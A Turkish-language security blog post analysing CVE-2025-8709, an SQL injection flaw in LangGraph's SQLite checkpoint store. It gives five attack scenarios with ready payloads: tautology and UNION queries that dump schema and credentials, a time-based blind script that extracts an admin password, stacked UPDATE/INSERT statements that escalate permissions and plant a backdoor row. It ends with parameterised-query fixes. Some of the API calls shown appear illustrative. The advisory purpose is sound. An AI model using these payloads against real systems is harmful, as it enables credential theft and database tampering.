LangGraph SQLite Checkpoint Store SQL Injection Güvenlik Açığı Analizi

 

LangGraph SQLite Checkpoint Store SQL Injection Güvenlik Açığı Analizi

Özet

CVE-2025-8709, langchain-ai/langchain deposundaki LangGraph SQLite kontrol noktası deposunda keşfedilen kritik bir SQL injection güvenlik açığıdır. Bu zafiyet, saldırganların hassas veritabanı bilgilerine erişim sağlamasına, veri bütünlüğünü bozmasına ve yetkisiz işlemler gerçekleştirmesine olanak tanımaktadır.

Teknik Detaylar

Etkilenen Sürüm

  • langgraph-checkpoint-sqlite 2.0.10

Açığın Kökeni

Zafiyet, LangGraph'in SQLite checkpoint store implementasyonunda filtre operatörlerinin ($eq, $ne, $gt, $lt, $gte, $lte) uygun şekilde sanitize edilmeden doğrudan SQL sorgularına dahil edilmesinden kaynaklanmaktadır.

Güvenlik Açığı Mekanizması

Kullanıcı tarafından sağlanan filtre parametreleri, yeterli input validation ve parametreli sorgular kullanılmadan SQL ifadelerine doğrudan yerleştirilmektedir:

# Güvenli olmayan kod örneği
def list_checkpoints(self, filter_dict=None):
    query = "SELECT * FROM checkpoints WHERE 1=1"
    if filter_dict:
        for key, value in filter_dict.items():
            # Kullanıcı kontrollü veri doğrudan sorguya ekleniyor
            query += f" AND {key} = '{value}'"

Senaryo 1: Temel SQL Injection Saldırısı

Senaryo:

Bir geliştirici, LangGraph checkpoint'larını filtrelemek için kullanıcı girdisi kullanıyor:

from langgraph.checkpoint.sqlite import SQLiteSaver

checkpoint_store = SQLiteSaver("checkpoints.db")

# Saldırgan kontrollü filtre
malicious_filter = {
    "thread_id": "1' OR '1'='1' --"
}

# SQL Injection tetikleniyor
results = checkpoint_store.list_checkpoints(malicious_filter)

Oluşan SQL Sorgusu:

SELECT * FROM checkpoints WHERE thread_id = '1' OR '1'='1' --'

Etkiler:

  • Tüm checkpoint kayıtlarına erişim
  • Hassas konfigürasyon bilgilerinin ifşası
  • Kullanıcı session'larının ele geçirilmesi

Senaryo 2: UNION-Based Veri Sızdırma

Senaryo:

Saldırgan, UNION tabanlı bir saldırı ile veritabanı şemasını keşfediyor:

advanced_filter = {
    "metadata": "x' UNION SELECT sql FROM sqlite_master WHERE type='table' --"
}

checkpoints = checkpoint_store.list_checkpoints(advanced_filter)

Oluşan Sorgu:

SELECT * FROM checkpoints WHERE metadata = 'x' 
UNION SELECT sql FROM sqlite_master WHERE type='table' --'

Keşfedilen Bilgiler:

  • Tüm veritabanı tablo yapıları
  • Kullanıcı tabloları ve şemaları
  • Diğer hassas sistem tabloları

Senaryo 3: Blind SQL Injection ile Yetkisiz Erişim

Senaryo:

Saldırgan, zaman tabanlı blind SQL injection kullanarak hassas verileri çıkarıyor:

import time

def extract_admin_password():
    password_chars = "abcdefghijklmnopqrstuvwxyz0123456789"
    extracted_password = ""

    for position in range(1, 20):
        for char in password_chars:
            payload = {
                "thread_id": f"1' AND CASE WHEN (SELECT substr(password,{position},1) FROM users WHERE username='admin')='{char}' THEN randomblob(100000000) ELSE 1 END --"
            }

            start_time = time.time()
            checkpoint_store.list_checkpoints(payload)
            elapsed_time = time.time() - start_time

            if elapsed_time > 2:  # Zaman gecikmesi tespiti
                extracted_password += char
                break

    return extracted_password

Senaryo 4: İş Mantığı Manipülasyonu

Senaryo:

Saldırgan, checkpoint metadata'sını manipüle ederek AI agent'ın davranışını değiştiriyor:

malicious_metadata = {
    "agent_state": "normal'; UPDATE checkpoints SET metadata = json_set(metadata, '$.permissions', 'admin') WHERE thread_id = 'victim_thread' --"
}

checkpoint_store.update_checkpoint(
    thread_id="attack_thread", 
    checkpoint_data=malicious_metadata
)

Etkiler:

  • Agent yetki seviyelerinin yükseltilmesi
  • İş mantığının bypass edilmesi
  • Finansal işlemlerin manipülasyonu

Senaryo 5: Çok Katmanlı Saldırı Zinciri

Senaryo:

Gerçek dünya saldırı senaryosu:

# 1. Adım: Veritabanı şemasını keşfet
schema_payload = {"config": "x' UNION SELECT name FROM sqlite_master WHERE type='table' --"}
tables = checkpoint_store.list_checkpoints(schema_payload)

# 2. Adım: Kullanıcı bilgilerini çıkar
users_payload = {"state": "x' UNION SELECT email || ':' || password FROM users --"}
credentials = checkpoint_store.list_checkpoints(users_payload)

# 3. Adım: Yeni checkpoint oluşturarak persistence sağla
backdoor_payload = {
    "thread_id": "legitimate_id'; INSERT INTO checkpoints (thread_id, metadata) VALUES ('backdoor', '{\"malicious\": true}') --"
}
checkpoint_store.create_checkpoint(backdoor_payload)

Risk Değerlendirmesi

Kritik Etkiler:

  • ✅ Tam veritabanı erişimi
  • ✅ Hassas veri ifşası
  • ✅ İş mantığı manipülasyonu
  • ✅ Sisteme kalıcı erişim
  • ✅ Diğer sistem bileşenlerine sıçrama

Etkilenen Sistemler:

  • LangGraph tabanlı AI uygulamaları
  • SQLite checkpoint kullanan üretim sistemleri
  • Çok kullanıcılı LangChain implementasyonları

Çözüm ve Geçici Önlemler

Acil Önlemler:

  1. Sürüm Güncelleme: LangGraph'in güncel sürümüne geçiş
  2. Input Validation: Tüm kullanıcı girdilerinin validasyonu
  3. Parametreli Sorgular: SQL injection önleyici teknikler

Güvenli Kodlama Örneği:

def safe_list_checkpoints(self, filter_dict=None):
    query = "SELECT * FROM checkpoints WHERE 1=1"
    params = []

    if filter_dict:
        for key, value in filter_dict.items():
            # Sadece beyaz liste içindeki alanlara izin ver
            if key not in ALLOWED_FILTER_FIELDS:
                continue

            # Parametreli sorgu kullan
            query += f" AND {key} = ?"
            params.append(value)

    return self.execute_query(query, params)

Sonuç

CVE-2025-8709, LangGraph ekosisteminde ciddi bir güvenlik tehdidi oluşturmaktadır. SQL injection zafiyetleri, özellikle AI/ML sistemlerinde kritik öneme sahiptir çünkü bu sistemler genellikle hassas veriler ve karmaşık iş mantıkları içerir. Tüm geliştiricilerin acil olarak güvenlik güncellemelerini uygulamaları ve güvenli kodlama prensiplerini benimsemeleri gerekmektedir.

Bu güvenlik açığı, modern AI uygulamalarında geleneksel web güvenlik önlemlerinin de göz ardı edilmemesi gerektiğini bir kez daha vurgulamaktadır.

Yorum Gönder

Daha yeni Daha eski

İletişim Formu